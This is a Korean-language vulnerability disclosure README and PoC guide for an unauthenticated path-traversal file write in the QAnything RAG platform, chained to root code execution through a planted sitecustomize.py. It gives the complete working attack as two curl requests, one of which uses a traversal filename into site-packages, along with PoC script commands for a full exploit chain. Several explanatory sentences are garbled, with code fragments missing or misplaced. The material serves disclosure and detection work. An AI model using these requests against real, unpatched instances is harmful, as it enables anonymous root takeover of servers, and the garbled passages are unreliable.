
CVE-2026-88533에 대한 PoC 및 실습 재현으로, QAnything의 업로드 엔드포인트에서 발생하는 경로 탐색을 통한 인증되지 않은 임의 파일 쓰기로 root RCE에 이르는 취약점입니다.
CVE ID: CVE-2026-88533 (MITRE에서 할당, 레코드 게시 대기 중)
제품: netease-youdao의 QAnything — 오픈소스 RAG / 지식베이스 QA 플랫폼
영향 버전: v1.4.x부터 v2.0.0까지 (기본 브랜치 qanything-v2, 최종 커밋 65de104까지)
수정 버전: 없음 — 2025-03-12 이후 프로젝트 유지보수 중단; 유일한 정화(sanitization) 수정(PR #483)은 레거시 master 브랜치에만 존재하며 qanything-v2에 병합된 적 없음
취약점 유형: CWE-22 경로 순회(Path Traversal)
영향: 인증되지 않은 임의 파일 생성 → uid=0(root) 권한으로 원격 코드 실행
발견자: Yankui Li
파일 업로드 엔드포인트 POST /api/local_doc_qa/upload_files는 공격자가 제어하는
멀티파트 filename을 가져와 경로 구분자를 정화하지 않고 목적지 경로로 사용합니다.
가 를 다시 로 확장하고, 전각 문자 필터링과 길이
잘라내기는 와 절대 경로를 그대로 남겨두며, 은 . 그 결과 는 프로세스가
접근할 수 있는 어디든 공격자 제어 콘텐츠를 씁니다 — 기본적으로 컨테이너 내부입니다.
urllib.parse.unquote()%2f/../os.path.join(base, name)name이
절대 경로일 때 base를 완전히 버립니다open(file_location, "wb")root이 제품은 어디에도 인증이 필요하지 않으므로 (user_id/user_info는 평범한 요청
파라미터입니다), 네트워크에서 접근 가능한 모든 인스턴스가 이 공격을 익명으로 받아들입니다.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # 외관상으로만
──► truncate_filename() # 길이 제한, "/" 또는 ".." 필터링 없음
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # 절대 경로 name → base 버려짐
open(file_location, "wb") # 임의 쓰기
이 취약점을 안정적으로 악용 가능하게 만드는 두 가지 속성:
../ 개수를 셀 필요 없음.%2e%2e%2f가 살아남음.같은 코드베이스 내의 강화 대비 사례: upload_faqs 엔드포인트는 파일명에서 /를 _로
바꿉니다. upload_files는 그런 처리를 받은 적이 없어 유일한 쓰기 벡터가 되었습니다.
참고: LocalFile.__init__에는 if not os.path.exists(file_location) 가드가 있어
새 파일만 생성할 수 있고 기존 파일은 덮어쓸 수 없습니다. 따라서 악용은 실행 가능한
위치의 새 파일을 대상으로 합니다.
공식 Docker 이미지는 Python 백엔드를 root로 실행합니다. CPython은 인터프리터 시작 시
site-packages에서 sitecustomize.py를 자동으로 임포트합니다 — 다음 위치에 새 파일을
떨어뜨리면:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ 상대 경로 또는 절대 경로) 백엔드가 다음에 시작될 때 임포트되어 공격자 코드가
uid=0(root)로 실행됩니다.
왜 앱 디렉터리가 아니라
site-packages인가? CPython은sys.path[0]을 삽입하기 전에site.py를 실행하므로, 진입 스크립트 옆의sitecustomize.py는 자동 임포트되지 않습니다.site-packages가 유일하게 신뢰할 수 있는 투하 지점입니다.
다른 벡터들은 테스트 후 배제되었습니다 (완전성을 위해 기록):
/etc/cron.d/ — 디렉터리가 존재하고 쓰기를 받아들이지만, 이미지에 cron 데몬이 없어 페이로드를 실행하는 것이 없습니다.공식 이미지 + 고정된 취약 소스 (커밋 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
PoC 스크립트는 이 저장소에 포함되어 있습니다 (poc_qanything_cve_2026_88533.py) —
아래의 모든 증거 항목은 위 실습 스택에 대해 이를 실행하여 생성되었습니다. 클론하고
정확한 출력을 직접 재현하세요:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full은 대상 컨테이너를 한 번 재시작합니다 (문서화된 동작; CPython 임포트가
시작 시 발동됨). 모든 것은 기본적으로 안전하게 제공됩니다: 리버스 셸 없음, 파괴적
페이로드 없음 — 데모 페이로드는 id의 출력을 담은 마커 파일을 씁니다.
전체 공격은 두 번의 HTTP POST입니다; 탐지 콘텐츠가 매칭해야 할 대상은 이것입니다
(절대 경로 또는 ..//%2f 시퀀스를 담은 멀티파트 filename이 핵심 신호입니다):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
아래의 모든 증거는 docker-compose-lab.yaml로 구축한 실습 스택에 대해 실행한
poc_qanything_cve_2026_88533.py (이 저장소의 스크립트)의 실제 터미널 출력입니다.
어떤 단계도 위조되거나 시뮬레이션되지 않았습니다 — 스크립트는 모든 검사가 통과하지
않으면 0이 아닌 값으로 종료하므로, 체인을 처음부터 끝까지 직접 검증할 수 있습니다.
실습 스택 — 공식 이미지 + 최소 의존성, 모든 컨테이너 정상:

--mode check — 인증되지 않은 쓰기 프리미티브 확인: 마커가 절대 경로 멀티파트
파일명을 통해 업로드 디렉터리 밖에 쓰였고 컨테이너 내부에서 다시 읽혔습니다:

--mode full — 컨테이너 재시작 후 CPython이 심어둔 sitecustomize.py를 자동
임포트합니다; 페이로드의 마커가 uid=0(root)로 실행되었음을 증명합니다:

위에 표시된 --mode full 실행의 전체 터미널 기록도 그대로 포함되어 있습니다:
evidence/full-chain-run-2026-09-18.log —
6/6 검사 [OK], 판정 RCE CONFIRMED, uid=0(root)를 증명하는 페이로드 마커와
타임스탬프 (로그의 nonce/kb_id 값은 실행마다 무작위로 생성되므로, 직접 실행하면
다를 것입니다 — 이는 예상된 일입니다).
CVE 레코드 페이지의 스크린샷은 레코드가 게시되면 추가될 예정입니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-08-25 | 취약점 발견; 라이브 인스턴스에 대해 쓰기 프리미티브 검증 (무해한 마커 + 읽기 확인) |
| 2026-08-29 | 격리된 로컬 실습 환경에서 전체 RCE 체인 재현; 보고서 작성; cveform을 통해 MITRE (CNA-LR)에 제출 |
| 2026-09-18 | MITRE에서 CVE-2026-88533 할당 |
| 미정 | CVE 레코드 게시; 이 저장소와 상세 분석 문서 공개 |
이 자료는 방어적 연구 및 교육 목적으로 게시됩니다. 소유하거나 테스트에 대한 명시적 서면 승인을 받은 시스템에만 사용하십시오. DISCLAIMER.md를 참조하십시오.